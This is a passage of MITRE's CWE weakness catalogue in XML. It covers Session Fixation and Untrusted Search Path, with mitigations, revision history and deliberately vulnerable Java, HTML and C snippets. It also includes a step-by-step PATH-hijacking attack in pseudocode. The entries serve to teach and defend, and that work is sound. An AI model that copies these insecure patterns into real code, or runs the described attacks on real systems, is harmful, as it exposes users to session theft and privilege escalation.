				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>111</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>462</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>467</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>62</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Description, Relationships,
						Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Likelihood_of_Exploit, Observed_Examples, Other_Notes,
						Potential_Mitigations, References, Relationship_Notes, Relationships,
						Research_Gaps, Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Tom Stracener</Modifier>
					          <Modification_Date>2009-05-20</Modification_Date>
					          <Modification_Comment>Added demonstrative example for
						profile.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Detection_Factors, Likelihood_of_Exploit, Observed_Examples,
						Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Detection_Factors,
						References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="384" Name="Session Fixation" Compound_Element_Abstraction="Base" Compound_Element_Structure="Composite" Status="Incomplete">
			      <Description>
				        <Description_Summary>Authenticating a user, or otherwise establishing a new user
					session, without invalidating any existing session identifier gives an attacker
					the opportunity to steal authenticated sessions.</Description_Summary>
				        <Extended_Description>
					          <Text>Such a scenario is commonly observed when:</Text>
					          <Block>
						            <Text>1. A web application authenticates a user without first invalidating
							the existing session, thereby continuing to use the session already
							associated with the user.</Text>
						            <Text>2. An attacker is able to force a known session identifier on a user
							so that, once the user authenticates, the attacker has access to the
							authenticated session.</Text>
						            <Text>3. The application or container uses predictable session identifiers.
							In the generic exploit of session fixation vulnerabilities, an attacker
							creates a new session on a web application and records the associated
							session identifier. The attacker then causes the victim to associate,
							and possibly authenticate, against the server using that session
							identifier, giving the attacker access to the user's account through the
							active session.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>346</Relationship_Target_ID>
					          <!--Origin Validation Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>472</Relationship_Target_ID>
					          <!--External Control of Assumed-Immutable Web Parameter-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>441</Relationship_Target_ID>
					          <!--Unintended Proxy/Intermediary-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Other attack vectors include DNS poisoning and related network based
						attacks where an attacker causes the user to visit a malicious site by
						redirecting a request for a valid site. Network based attacks typically
						involve a physical presence on the victim's network or control of a
						compromised machine on the network, which makes them harder to exploit
						remotely, but their significance should not be overlooked. Less secure
						session management mechanisms, such as the default implementation in Apache
						Tomcat, allow session identifiers normally expected in a cookie to be
						specified on the URL as well, which enables an attacker to cause a victim to
						use a fixed session identifier simply by emailing a malicious URL.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Invalidate any existing session identifiers prior to authorizing a new
							user session.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For platforms such as ASP that do not generate new values for
							sessionid cookies, utilize a secondary cookie. In this approach, set a
							secondary cookie on the user's browser to a random value and set a
							session variable to the same value. If the session variable and the
							cookie value ever don't match, invalidate the session, and force the
							user to log on again.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example shows a snippet of code from a J2EE web
						application where the application authenticates users with
						LoginContext.login() without first calling
						HttpSession.invalidate().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void auth(LoginContext lc, HttpSession session) throws
								LoginException {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>lc.login();</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In order to exploit the code above, an attacker could first create a
							session (perhaps by logging into the application) from a public
							terminal, record the session identifier assigned by the application, and
							reset the browser to the login page. Next, a victim sits down at the
							same public terminal, notices the browser open to the login page of the
							site, and enters credentials to authenticate against the application.
							The code responsible for authenticating the victim continues to use the
							pre-existing session identifier, now the attacker simply uses the
							session identifier recorded earlier to access the victim's active
							session, providing nearly unrestricted access to the victim's account
							for the lifetime of the session. Even given a vulnerable application,
							the success of the specific attack described here is dependent on
							several factors working in the favor of the attacker: access to an
							unmonitored public terminal, the ability to keep the compromised session
							active and a victim interested in logging into the vulnerable
							application on the public terminal.</Text>
						            <Text>In most circumstances, the first two challenges are surmountable given
							a sufficient investment of time. Finding a victim who is both using a
							public terminal and interested in logging into the vulnerable
							application is possible as well, so long as the site is reasonably
							popular. The less well known the site is, the lower the odds of an
							interested victim using the public terminal and the lower the chance of
							success for the attack vector described above. The biggest challenge an
							attacker faces in exploiting session fixation vulnerabilities is
							inducing victims to authenticate against the vulnerable application
							using a session identifier known to the attacker.</Text>
						            <Text>In the example above, the attacker did this through a direct method
							that is not subtle and does not scale suitably for attacks involving
							less well-known web sites. However, do not be lulled into complacency;
							attackers have many tools in their belts that help bypass the
							limitations of this attack vector. The most common technique employed by
							attackers involves taking advantage of cross-site scripting or HTTP
							response splitting vulnerabilities in the target site [12]. By tricking
							the victim into submitting a malicious request to a vulnerable
							application that reflects JavaScript or other code back to the victim's
							browser, an attacker can create a cookie that will cause the victim to
							reuse a session identifier controlled by the attacker. It is worth
							noting that cookies are often tied to the top level domain associated
							with a given URL. If multiple applications reside on the same top level
							domain, such as bank.example.com and recipes.example.com, a
							vulnerability in one application can allow an attacker to set a cookie
							with a fixed session identifier that will be used in all interactions
							with any application on the domain example.com [29].</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example shows a snippet of code from a J2EE web
						application where the application authenticates users with a direct post to
						the &lt;code&gt;j_security_check&lt;/code&gt;, which
						typically does not invalidate the existing session before processing the
						login request.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form method="POST"
								action="j_security_check"&gt;</Code>
							              <Block>
								                <Code>&lt;input type="text" name="j_username"&gt;</Code>
								                <Code>&lt;input type="text" name="j_password"&gt;</Code>
							              </Block>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Session Fixation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Session Fixation </Mapped_Node_Name>
					          <Mapped_Node_ID>37</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>196</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>61</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="426" Name="Untrusted Search Path" Compound_Element_Abstraction="Base" Compound_Element_Structure="Composite" Status="Draft">
			      <Description>
				        <Description_Summary>The application searches for critical resources using an
					externally-supplied search path that can point to resources that are not under
					the application's direct control.</Description_Summary>
				        <Extended_Description>
					          <Text>This might allow attackers to execute their own programs, access
						unauthorized data files, or modify configuration in unexpected ways. If the
						application uses a search path to locate critical resources such as
						programs, then an attacker could modify that search path to point to a
						malicious program, which the targeted application would then execute. The
						problem extends to any type of critical resource that the application
						trusts.</Text>
					          <Text>Some of the most common variants of untrusted search path are:</Text>
					          <Block Block_Nature="List">
						            <Text>In various UNIX and Linux-based systems, the PATH environment variable
							may be consulted to locate executable programs, and LD_PRELOAD may be
							used to locate a separate library.</Text>
						            <Text>In various Microsoft-based systems, the PATH environment variable is
							consulted to locate a DLL, if the DLL is not found in other paths that
							appear earlier in the search order.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>417</Relationship_Target_ID>
					          <!--Channel and Path Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>673</Relationship_Target_ID>
					          <!--External Influence of Sphere Definition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="OS-independent"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Untrusted Path</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>There is the potential for arbitrary code execution with privileges of
							the vulnerable program.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The program could be redirected to the wrong files, potentially
							triggering a crash or hang when the targeted file is too large or does
							not have the expected format.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The program could send the output of unauthorized files to the
							attacker.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-11">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and look for library functions and
							system calls that suggest when a search path is being used. One pattern
							is when the program performs multiple accesses of the same file but in
							different directories, with repeated failures until the proper filename
							is found. Library calls such as getenv() or their equivalent can be
							checked to see if any path-related variables are being accessed.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Hard-code your search path to a set of known-safe values, or allow
							them to be specified by the administrator in a configuration file. Do
							not allow these settings to be modified by an external party. Be careful
							to avoid related weaknesses such as CWE-427 and CWE-428.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When invoking other programs, specify those programs using
							fully-qualified pathnames.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove or restrict all environment settings before invoking other
							programs. This includes the PATH environment variable, LD_LIBRARY_PATH,
							and other settings that identify the location of code libraries, and any
							application-specific search paths.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check your search path before use and remove any elements that are
							likely to be unsafe, such as the current working directory or a
							temporary files directory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use other functions that require explicit paths. Making use of any of
							the other readily available functions that require explicit paths is a
							safe way to avoid this problem. For example, system() in C does not
							require a full path since the shell can take care of it, while execl()
							and execv() require a full path.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-67">
					          <Intro_Text>This program is intended to execute a command that lists the
						contents of a restricted directory, then performs other actions. Assume that
						it runs with setuid privileges in order to bypass the permissions check by
						the operating system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define DIR "/restricted/directory"</Code>
							              <Code/>
							              <Code>char cmd[500];</Code>
							              <Code>sprintf(cmd, "ls -l %480s", DIR);</Code>
							              <Comment>/* Raise privileges to those needed for accessing DIR.
								*/</Comment>
							              <Code>RaisePrivileges(...);</Code>
							              <Code>system(cmd);</Code>
							              <Code>DropPrivileges(...);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code may look harmless at first, since both the directory and the
							command are set to fixed values that the attacker can't control. The
							attacker can only see the contents for DIR, which is the intended
							program behavior. Finally, the programmer is also careful to limit the
							code that executes with raised privileges.</Text>
						            <Text>However, because the program does not modify the PATH environment
							variable, the following attack would work:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>PseudoCode</Code_Example_Language>
							              <Text>The user sets the PATH to reference a directory under that user's
								control, such as "/my/dir/".</Text>
							              <Text>The user creates a malicious program called "ls", and puts that
								program in /my/dir</Text>
							              <Text>The user executes the program.</Text>
							              <Text>When system() is executed, the shell consults the PATH to find the
								ls program</Text>
							              <Text>The program finds the malicious program, "/my/dir/ls". It doesn't
								find "/bin/ls" because PATH does not contain "/bin/".</Text>
							              <Text>The program executes the malicious program with the raised
								privileges.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-68">
					          <Intro_Text>This code prints all of the running processes belonging to the
						current user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment> //assume getCurrentUser() returns a username that is
								guaranteed to be alphanumeric (CWE-78)</Comment>
							              <Code> $userName = getCurrentUser();</Code>
